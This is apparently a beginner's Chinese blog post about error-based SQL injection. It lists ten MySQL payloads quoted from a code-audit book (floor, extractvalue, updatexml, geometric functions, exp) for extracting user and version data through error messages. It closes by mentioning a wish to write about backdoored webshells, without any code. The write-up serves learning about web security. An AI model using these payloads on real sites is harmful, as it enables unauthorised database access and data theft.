按照惯例,一进来就是先看看情况
页面显示正常,那看看不正常的样子
这样的话可以看出来,没有办法通过union联合查询来注入了,他完全就没有给你回显的地方。。。
这样的话,可以考虑一下显错注入,先让他语句报错,然后在错误里爆出我们想要的东西
报错了啊,那么接下来就是显错注入了,显错注入包括很多方式,
以下均摘自《代码审计:企业级Web代码安全架构》一书:
1.floor() {输出字符长度限制为64个字符}
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue() {有长度限制,最长32位}
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml() {有长度限制,最长32位}
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
先来floor() 吧:
他说输出的信息超过的1行,所以就不输出了,这就说明了floor时有长度限制的,字符串长度最多64位,所以,就老实点一个一个爆吧。
注意的一个问题是,那个1,不是数据库的名称,为了区别的话,所以在后面加了个’^'来区分出来,就不用去试到底是不是了。
接下来我们试一下extractvalue() :
用这个查一下版本吧
其他的就把sql语句写进去就行,原谅我记不住那么多,我都是现去记事本里找。。。
就不接着糊弄了,剩下的都差不多,只是语句和方式不一样,如果想看这10种的原理
那就百度去吧,10种显错注入原理讲解,嗯,就这样。
我可不会,刚开始接触,真的菜。。。
本来是想整理以下大马的“黑吃黑”的一点,但是,突然发现自己不会在大马里写一个shell发到另一个网址去,我看看能不能找到一个有的吧。
还是希望有人能够指点下,在此谢过。